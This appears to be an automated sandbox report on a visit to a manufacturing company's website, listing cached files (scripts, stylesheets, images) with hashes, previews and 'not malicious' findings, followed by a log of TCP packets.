SSDEEP:	768:hdrybCLSG+z0BFKEyby+HvOWvevgOkYtUdEvWBzigMPpIFxIF0uJKW3D+5+gY073:rryKSAybbO4IUdEvPgqIFxIF0UN3CcgB
MD5:	D954E39EF706357FC31FF7D7EED46BD3
SHA1:	0159043ED6809563F86CF7958F810A3F0DA40940
SHA-256:	EF8D6BBC7FF486B90D77742A15B9B69DCA1E8244C56CCB1F660742614E1BD5E4
SHA-512:	C161C8223FC8B7A25F64559BF6D24898B92B4E7EC1B1FB765BACE25FE2C1B4992F3436D4608D3624EDB8ED51E5CF77A2AC4817CB8799953B5D07557162B919A6
Malicious:	false
Reputation:	low
Preview:	function navigation(){$("#mobile-nav-container").on("click touchstart","a.mobile-nav-trigger",function(a){a.stopPropagation(),a.preventDefault(),$("body").toggleClass("menu-open")}),$("#primary-nav li").on("click touchstart",".next-menu",function(a){a.stopPropagation(),a.preventDefault(),$(this).toggleClass("flip").next(".dropdown").toggleClass("open")})}function subNavigation(){$(".dropdown-button").on("click touchstart",function(a){a.stopPropagation(),a.preventDefault();var b,c;b=$(this),c=b.siblings(".dropdown-menu"),c.toggleClass("show-menu")})}function accordionTabs(){$(".accordion-tabs").each(function(a){$(this).children("li").first().children("a").addClass("is-active").next().addClass("is-open").show()}),$(".accordion-tabs").on("click","li > a.tab-link",function(a){if($(this).hasClass("is-active"))a.preventDefault();else{a.preventDefault();var b=$(this).closest(".accordion-tabs");b.find(".is-open").removeClass("is-open").hide(),$(this).next().toggleClass("is-open").toggle(),b.fi

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	83
Entropy (8bit):	4.702629793389398
Encrypted:	false
SSDEEP:	3:gkJRyRUZLW6XS+FXIR9dBlLVOb:PpW6Y75LYb
MD5:	26267CD8990F15D3BBEA71684A6D5995
SHA1:	AC3B38CF3FE0E112BB6AEB7E05226B7133575D93
SHA-256:	769E8AB745A0FE4BF811036E75A8630E38C50A18CB3E24D539CE4A0722C7C85E
SHA-512:	FE52418AE102F6621B45B8663241AB29428D7DED0BF9317B98331F5F5F1F07F0E400F1353F46A51C5724F1E2078791C1E97C4266C11CB1DAA4C388C21B58D6CC
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7
Preview:	<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	downloaded
Size (bytes):	41140
Entropy (8bit):	7.977611376221006
Encrypted:	false
SSDEEP:	768:450wtVv4EOQLuu3nzW9lTYglktebTUyZh0jpfLXvMAh5Dsw+L:45Dv4wLQdYmkOwW0VLXBzDRW
MD5:	64741749166E1BC7145CE096026C13EE
SHA1:	2D3509D24E2ACB0F3532FA927870672592BA6390
SHA-256:	D6DCE4589EEEDB2517AB4B02F7C9946E10F280BE0FA4846BE813CA24E17CDBC5
SHA-512:	BB0C3FFA4201A35B4A95D85D88911B60E92A716B49D49A5DCC57AB060E5508827BFADE9BD55C3B95144DD965B71317BAC676EC22AA58708E8AE3D38454350023
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/twb-thumb.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:5219833B58CB11E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:5219833A58CB11E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 232 x 240, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	34669
Entropy (8bit):	7.978029184557293
Encrypted:	false
SSDEEP:	768:Ptso4Ube0CPNZkeaKFC60tea+jTR6EtglQJ6hLjIkyx1bMChN2TFU+v:Oo4Ube0C1ZkeaKFCVsLjTR6WwQ+LkkGm
MD5:	6CAABC9B810F4E98D8F81BF2317FFD3A
SHA1:	6EDD15DD52286FA8D91475816689205DE7315963
SHA-256:	A7D245CBF1735ADF44B964341C0A16546B8025E2054B22A35182C5005703D9BF
SHA-512:	D9ED350D292C13F8905FED5FBC505BE2137D66B4B80F30A2330F21818AF817AAD6B3F8A23B9E51A8029ACDC51FDCEB50E89124DF5175BF8556B113E5C1F0495C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............,(.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:2B93DE74439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:2B93DE73439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CC 2015 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="C8A7FCDEFCBA9BC49DA56EFABE3904E2" stRef:documentID="C8A7FCDEFCBA9BC49DA56EFABE3904E2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx..}..\e...[KW*M.4!1...ADDQ.q.u.w.e.]pW...Pqd..QGQ.}.}.w..Q.QQAt`.c.!M.i:.Ju...........W.tu%..}..twu.{..,.y..9.sep.

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	35808
Entropy (8bit):	5.4099436284786435
Encrypted:	false
SSDEEP:	768:vdNJX0FZdapFciPTmmoYB1bwo6VZ8xnIhW:V6apC8TmmoYB1bToZ8xnIhW
MD5:	BB0B8B0034F8BCA383AED65F8FAC888E
SHA1:	D509D0C67335DB10EAD129EC6B2504BFCEF5C0CD
SHA-256:	3B8C5011395DE1019928B65D39504755424F6A7DE12F04A6A3D8D0F30D8320FF
SHA-512:	73131E38229174FA6FA79B8C88E40F3E737B369F0F57E62DA3C206E4CF7F93256C3959C6194D43E49C172452E98A9647E28B383215148C8AB54E334BCC5FC3B9
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/services/optimized-material-utilization/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	29948
Entropy (8bit):	7.5197329175197485
Encrypted:	false
SSDEEP:	768:7OfiRUz++9+atEAvFEGPXTTrnJjV9fB1ffX1YFyai:SfiRJc7Pfth9fB13lYFyai
MD5:	B590AFCD50FDA4B959625D920E7C8AF3
SHA1:	55842DB744332A7D0AF8327D23A3C91FEE4A4EB9
SHA-256:	810CBBED7B6CE07102938F0B2F605CEB866200D34A2977DB77FF858DC1EA6B48
SHA-512:	BE83EB4E34479FCC487E796DA6BB8B483F71E33F26A71348E2A720A80E41374F5CEB42BF42866350FEC796C57C9F9565D483DDE5AE29A70A0397EE2E94ED7AF4
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:4B77D04A093011E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:4B77D049093011E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	751
Entropy (8bit):	5.031517683302082
Encrypted:	false
SSDEEP:	12:KYS84RtbfqS84fSvS84LKSQDbFwDRZgNUefpj3yditkvsXP0DRRFVorQZ2AlvsTn:KYt4Lfqt4f2t4Peh0RZgNUe93MitkvsL
MD5:	CAAADA24C36ED88A759BF4289B0C6BA8
SHA1:	53276B225E3AEE862666004696658819E0282895
SHA-256:	5A1A3A3F0EF52A304CDE50940EE607A2EBB008B76FA4CF49721B6E5CC07C350A
SHA-512:	2930CE811C96542497D048EB78ED9B13BCBDCD45408783736803A74CC813CFD7BF34D95F5138F257445D31B52D8C2062D87644217ECA143BFE7310530E8BEF0A
Malicious:	false
Reputation:	low
Preview:	( function() {..var is_webkit = navigator.userAgent.toLowerCase().indexOf( 'webkit' ) > -1,.. is_opera = navigator.userAgent.toLowerCase().indexOf( 'opera' ) > -1,.. is_ie = navigator.userAgent.toLowerCase().indexOf( 'msie' ) > -1;...if ( ( is_webkit \|\| is_opera \|\| is_ie ) && document.getElementById && window.addEventListener ) {...window.addEventListener( 'hashchange', function() {....var id = location.hash.substring( 1 ),.....element;.....if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) {.....return;....}.....element = document.getElementById( id );.....if ( element ) {.....if ( ! ( /^(?:a\|select\|input\|button\|textarea)$/i.test( element.tagName ) ) ) {......element.tabIndex = -1;.....}......element.focus();....}...}, false );..}.})();.

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1242 x 812, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	946004
Entropy (8bit):	7.991771177802332
Encrypted:	true
SSDEEP:	24576:mHhUMle42+NqWh2HoO31JGv7zKWzlhP56cuvfI:YTle4Ff2HoIC7mWzlz0Q
MD5:	C5AE760D04571E1C541EDB7D447EACCE
SHA1:	72C9CABD1CD63ABE503E04F4E075EA6DE7FC3DDB
SHA-256:	89FC64814E20C55C3A966E1D5DFA87FABA12F530F62143216FB566B9A49FA4CA
SHA-512:	10173B91551421BCBD84B14961FA3591F9149970EC59B7A570B9B4EEE2E5A0E239082A2FECEEB4C65820B26FE9BF674DBFD3ABA124C1A5E8B0A693991717376C
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2021/03/typical-cab-structural.png
Preview:	.PNG........IHDR.......,............liCCPICC Profile..H..W.XS...[RIh..........B. ..6B.H(1&..;....E.+...V@..E.......bC.MH@.}.{....?g.....{.....J.Qm..$.......&.. @.... ..r);>>.@...]...P.:+..9._EW ...@.@.%... >..../...@T.&.J.x..z2. .+.8G..+q....IN.@\|..2.....y..E.....bW.@,.@k..\|.O..2.a......b{h/....XY.q...?k...........K.yS....o).W.....&.E&.5..7!Z.i.wI.b....X..;.(U..LQ.&\|9....@...FCl.q.$?6F.....s!....,..&Cl..\|.<,Im.Q6!Q....q.j.9......E^.[..F$..1.bQr..T......kB.".K.V.(.qb.ld.De...'.%.!~.([..../+...m....j..P.....v.....].J.).<B....\...0U..s.$%I..AZ...Z.S...j{.R....[B.)/JR..S...T......dU.xq./^.........L..#.L..@.......f....@...g.f`EZ...^.@1.."!......."..2.U].Av.lQ..<........oE...T..j........C9.....o.6..5...L..Kb.1..I.':..x ...k0..8.....=.)....p..N.=^\".!....k..}-p[......2...1p.=..6..={A-G.........wOCmGq...!.`...+5.5..Y....>.X........?....=.GKl>..;....c.....a.X.vD..w...5.-.?.<.#..?....r.Z.N...B..B...L.N..sD.L6\|;..\..e........F...6......\|......c}}

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4273
Entropy (8bit):	5.099667421238298
Encrypted:	false
SSDEEP:	48:n6KRam0AdlPewlleewljeewlSQiB9DUMOK+D1S/bqwR9zewl6dLOoewl+g6Nfdev:6eam0YCJUDf4XNNT78
MD5:	B4B6B4B872A0E8BB64352593893D0759
SHA1:	B0F296909805FB0B3B7269DA41C857032D8E3EA7
SHA-256:	7F01287A3EDA38F82FDFD509C6BCE17C7258913B1CEE9BDA415FD83160099714
SHA-512:	63C2336015312CCBB5B1B6475E890D5C7F521FD08C7ECBDC95A8DE0F557FF0023FDAFFEAEC97E5CC57CE7D3C0E4BB1927A0E2767D58D5CC8D0BFA6AD382D9705
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-max-640.css
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /../ Reduced layout for small devices /.@media screen and (max-width: 640px) {....lightcase-open body {...padding: 55px 0 70px 0;..}....lightcase-open body > :not([id=lightcase-]) {...position: fixed !important;...top: -9999px !important;....width: 0 !important;...height: 0 !important;....overflow: hidden !important;..}.../ Overlay /..#lightcase-overlay {...opacity: 1 !important;...background: #333;..}.../ Loading /..#lightcase-loading {...color: #aaa;..}.../ Case */..#lightcase-case {...font-family: arial, sans-serif;...font-size: 13px;...line-height: 18px;...text-align: left;....text-shadow: 0 0 10px rgba(0,0,0,0.5);..}...#lightcase-case:not([data-type=image]):not([data-type=video]):not([data-type=flash]):not([data-type=error]),..#lightcase-case:not([data-type=image]):not([data-type=video]):no

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (19040), with no line terminators
Category:	dropped
Size (bytes):	21886
Entropy (8bit):	6.065358786332392
Encrypted:	false
SSDEEP:	384:Fmnq/xfICwb8KjPB4vD8Y9ulK5PT+QS05cthDyA/887BUBLJCScBwwqHAyp6/Eyy:PxfIuK9KDNs0r+QS0+yA/88m1QScJqvB
MD5:	F7C3B9AC13EEAA71A7B559A290E285CD
SHA1:	3CAA7B016108941CE110762AE85BD10E08EC9444
SHA-256:	4757F7F4E9C0B9187F72FF21600D009E79B7776ADF8AB2E2122F760EB769FE0A
SHA-512:	57D3B08BABFD19DE4E8D88DEE136E8B0130AE2CF455DA0CC0439E1CCCB07E40D4E9E5CBD9662149617733EF0F9136E48428C80F6E86C84ECCD3B690143703A13
Malicious:	false
Reputation:	low
Preview:	"use strict";var $buo_show=function(){var op=window._buorgres;var bb=$bu_getBrowser();var burl=op.burl\|\|("http"+(/MSIE/i.test(navigator.userAgent)?"":"s")+"://browser-update.org/");if(!op.url)op.url=burl+((op.l&&(op.l+"/"))\|\|"")+"update-browser.html"+(op.test?"?force_outdated=true":"")+"#"+op.jsv+":"+op.pageurl;op.url_permanent_hide=op.url_permanent_hide\|\|(burl+"block-ignore-browser-update-warning.html");function busprintf(){var args=arguments;var data=args[0];for(var k=1;k<args.length;++k)data=data.replace(/%s/,args[k]);return data;}var t={},ta;t.en={'msg':'Your web browser ({brow_name}) is out of date.','msgmore':'Update your browser for more security, speed and the best experience on this site.','bupdate':'Update browser','bignore':'Ignore','remind':'You will be reminded in {days} days.','bnever':'Never show again','insecure':'Your web browser ({brow_name}) has a serious security vulnerability!'};t.ar={'msg':'..... ........ ..... .. ({brow_name}) ... .....

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 14:09:56.972551107 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 14:09:56.972554922 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 14:09:57.081855059 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 14:10:06.415791035 CEST	49709	80	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:06.416348934 CEST	49710	80	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:06.421638966 CEST	80	49709	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:06.421679020 CEST	80	49710	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:06.421729088 CEST	49709	80	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:06.421746969 CEST	49710	80	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:06.421891928 CEST	49710	80	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:06.426827908 CEST	80	49710	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:06.582142115 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 14:10:06.582158089 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 14:10:06.691373110 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 14:10:06.892074108 CEST	80	49710	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:06.942148924 CEST	49710	80	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:07.417825937 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:07.417893887 CEST	443	49713	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:07.417951107 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:07.418283939 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:07.418293953 CEST	443	49713	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:07.920212984 CEST	443	49713	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:07.968436956 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:08.167634010 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:08.167675018 CEST	443	49713	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:08.171046019 CEST	443	49713	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:08.171113014 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:08.183746099 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:08.183845043 CEST	443	49713	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:08.184544086 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:08.184550047 CEST	443	49713	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:08.233880043 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:08.496964931 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 7, 2024 14:10:08.497081041 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 7, 2024 14:10:08.498188972 CEST	443	49713	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:08.498352051 CEST	443	49713	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:08.498411894 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:08.498759031 CEST	49713	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:08.498773098 CEST	443	49713	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:08.916171074 CEST	49714	443	192.168.2.5	142.250.185.196
Oct 7, 2024 14:10:08.916273117 CEST	443	49714	142.250.185.196	192.168.2.5
Oct 7, 2024 14:10:08.917062998 CEST	49714	443	192.168.2.5	142.250.185.196
Oct 7, 2024 14:10:08.917304993 CEST	49714	443	192.168.2.5	142.250.185.196
Oct 7, 2024 14:10:08.917339087 CEST	443	49714	142.250.185.196	192.168.2.5
Oct 7, 2024 14:10:08.973989010 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:08.974019051 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:08.974539042 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:08.977144003 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:08.977159023 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:09.188867092 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:09.188961983 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:09.189193010 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:09.191528082 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:09.191566944 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:09.567193031 CEST	443	49714	142.250.185.196	192.168.2.5
Oct 7, 2024 14:10:09.569578886 CEST	49714	443	192.168.2.5	142.250.185.196
Oct 7, 2024 14:10:09.569643021 CEST	443	49714	142.250.185.196	192.168.2.5
Oct 7, 2024 14:10:09.571285009 CEST	443	49714	142.250.185.196	192.168.2.5
Oct 7, 2024 14:10:09.571363926 CEST	49714	443	192.168.2.5	142.250.185.196
Oct 7, 2024 14:10:09.573571920 CEST	49714	443	192.168.2.5	142.250.185.196
Oct 7, 2024 14:10:09.573668003 CEST	443	49714	142.250.185.196	192.168.2.5
Oct 7, 2024 14:10:09.603554964 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:09.603634119 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:09.608867884 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:09.608874083 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:09.609272003 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:09.627938986 CEST	49714	443	192.168.2.5	142.250.185.196
Oct 7, 2024 14:10:09.628001928 CEST	443	49714	142.250.185.196	192.168.2.5
Oct 7, 2024 14:10:09.659205914 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:09.676084995 CEST	49714	443	192.168.2.5	142.250.185.196
Oct 7, 2024 14:10:09.694153070 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:09.694533110 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:09.694597960 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:09.696019888 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:09.696096897 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:09.699415922 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:09.856477976 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:09.856566906 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:09.856616020 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:09.856934071 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:09.856945038 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:09.856969118 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:09.856973886 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:09.905459881 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:09.905550003 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:09.905638933 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:09.905986071 CEST	49717	443	192.168.2.5	184.28.90.27
Oct 7, 2024 14:10:09.906024933 CEST	443	49717	184.28.90.27	192.168.2.5
Oct 7, 2024 14:10:10.019521952 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.019613028 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.019644976 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.020042896 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.066431046 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.066493034 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.114223957 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.450265884 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.450320005 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.450340033 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.450371981 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.450514078 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.450514078 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.450587988 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.461642981 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.461663961 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.461709976 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.461721897 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.461749077 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.514735937 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.514765978 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.528682947 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.528717995 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.528740883 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.528755903 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.528784990 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.528814077 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.529903889 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.529926062 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.529968023 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.529972076 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.529994965 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.530013084 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.530416965 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.530464888 CEST	49716	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:10.530476093 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.530579090 CEST	443	49716	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:10.530623913 CEST	49716	443	192.168.2.5	192.185.125.111
